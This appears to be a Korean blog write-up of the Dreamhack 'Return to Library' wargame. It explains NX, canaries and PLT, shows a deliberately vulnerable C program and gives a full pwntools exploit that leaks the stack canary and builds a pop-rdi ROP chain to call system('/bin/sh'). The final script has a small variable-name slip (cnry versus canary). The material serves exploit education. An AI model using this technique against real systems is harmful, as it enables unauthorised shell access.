Return to Library
Exploit Tech: Return to Library에서 실습하는 문제입니다.
# Review
- Return Address Overwrite: 반환 주소를 악성 함수의 주소로 덮어서 셸 획득
- Stack Canary: 스택 프레임의 반환 주소 전에 랜덤한 카나리를 주입하여 반호나 주소를 덮기 어렵게 함
- Return to Shellcode: 카나리를 우회하고, 셸 코드를 주입한 버퍼의 주소로 반환 주소를 덮어서 셸 획득
- ASLR: 임의 버퍼의 주소를 알기 어렵게 함
- NX: 각 세그먼트에 불필요한 실행권한을 제거함으로써 공격자가 임의 버퍼에 주입한 코드를 실행하기 어렵게 함
# 문제 분석
- Return to Library
- NX로 인해 공격자가 버퍼에 주입한 셸 코드를 실행하기는 어려워졌지만, 스택 버퍼 오버플로우 취약점으로 반환 주소를 덮는 것은 여전히 가능함 → 실행 권한이 남아있는 코드 영역으로 반환 주소를 덮는 공격 기법을 고안함
- 프로세스에 실행 권한이 있는 메모리 영역은 일반적으로 바이너리 코드 영역과 바이너리가 참조하는 라이브러리의 코드 영역
- 라이브러리 영역에는 공격에 유용한(ex. libc의 system, execve 등 프로세스의 실행과 관련된) 함수들이 구현되어 있음
- Return to Libc: Return to Library libc의 함수들로 NX를 우회하고 셸을 획득하는 공격 기법
- Return to Library: Libc 외에 다른 다이브러리도 공격에 활용될 수 있음
- Return to PLT: RTL의 하위 분류
- Figure 1. RTL 실습 코드
- 보호 기법: 카나리가 존재하고, NX가 적용되어 있음
- binsh는 "/bin/sh"를 코드 영역에 추가함
- ASLR이 적용되어 있어도 PIE가 적용되어 있지 않으면 코드 세그먼트와 데이터 세그먼트의 주소는 고정되므로, "/bin/sh"의 주소는 고정되어 있음
- system 함수를 plt에 추가
- system("echo 'system@plt'"); 코드는 PLT에 system을 추가하기 위해 작성된 코드
- PLT와 GOT는 라이브러리 함수의 참조를 위해 사용하는 테이블임
- PLT에는 함수의 주소가 resolve되지 않았을 때, 함수의 주소를 구하고 실행하는 코드가 적혀있음
- PLT에 어떤 라이브러리 함수 주소가 등록되어 있다면, 그 함수의 PLT 엔트리를 실행함으로써 함수를 실행할 수 있었음
- ASLR이 걸려있어도 PIE가 적용되어 있지 않다면 PLT의 주소는 고정되므로, 무작위 주소에 매핑되는 라이브러리의 베이스 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있음
- 이 문제에서는 PLT를 이용하여 NX를 우회할 것
- ELF의 PLT에는 ELF가 실행하는 라이브러리 함수만 포함되므로 system 함수를 추가할 수 있게됨
- 버퍼 오버플로우
- 두 번의 오버플로우로 스택 카나리 우회 가능
- 버퍼오버플로우를 사용하여 return address overwrite 가능
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
# Exploit
- 카나리 우회
- 첫 번째 입력에서 적절한 길이의 데이터를 입력하면 카나리를 구할 수 있음
#!/usr/bin/python3
# Name: rtl.py
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
- rdi 값을 "/bin/sh"의 주소로 설정 및 셸 획득
- "/bin/sh"의 주소를 알아냄
- system 함수의 plt 주소를 알아냄 → system 함수를 호출
- system("/bin/sh")를 호출하면 셸을 획득할 수 있음 → rdi = "/bin/sh" 주소인 상태에서 system 함수를 호출한 것(x86_64)
- 리턴 가젯
- 리턴 가젯(return gadget)은 다음과 같이 ret로 끝나는 어셈블리 코드 조각을 의미하며 왼쪽에 16진수로 적힌 주소가 가젯의 주소
- 리턴 가젯은 반호나 주소를 덮는 공격의 유연성을 높여서 익스플로잇에 필요한 조건을 만족할 수 있도록 도움
- 해당 문제에서는 rdi의 값을 "/bin/sh"의 주소로 설정하고, system 함수를 호출해야 함
- 리턴 가젯을 사용하여 반환 주소와 이후의 버퍼를 다음과 같이 덮으면, pop rdi로 rdi를 "/bin/sh"의 주소로 설정하고, 이어지는 ret으로 system 함수를 호출 할 수 있음
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
- "/bin/sh"의 주소
- system 함수의 plt 주소
- Exploit
#!/usr/bin/python3
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
system_plt = e.plt["system"]
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b"A"*0x38 + p64(canary) + b"B"*0x8
payload += p64(ret) # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
pause()
p.sendafter("Buf: ", payload)
p.interactive()
💡 주의할 점
- system 함수로 rip가 이동할 때, 스택은 반드시 0x10 단위로 정렬되어 있어야 함
- 이는 system 함수 내부에 있는 movaps 명령어 때문 → 스택이 0x10 단위로 정렬되어 있지 않으면 segmentation fault를 발생시킴
- 만약 코드를 잘 작성한 것 같은데 segmentation falut가 발생한다면, system 함수의 가젯을 8바이트 뒤로 미뤄보는 것이 좋음
- 이를 위해 아무 의미 없는 가젯(no-op-gadget)을 system 함수 전에 추가할 수 있음
# 실행결과
'War Game & CTF > Dreamhack' 카테고리의 다른 글
[Dreamhack] Return Oriented Programming (0) | 2022.09.14 |
---|---|
[Dreamhack] ssp_001 (0) | 2022.09.13 |
[Dreamhack] Return to Shellcode (0) | 2022.09.05 |
[Dreamhack] Return Address Overwrite (0) | 2022.09.01 |
[Dreamhack] basic_exploitation_001 (0) | 2022.09.01 |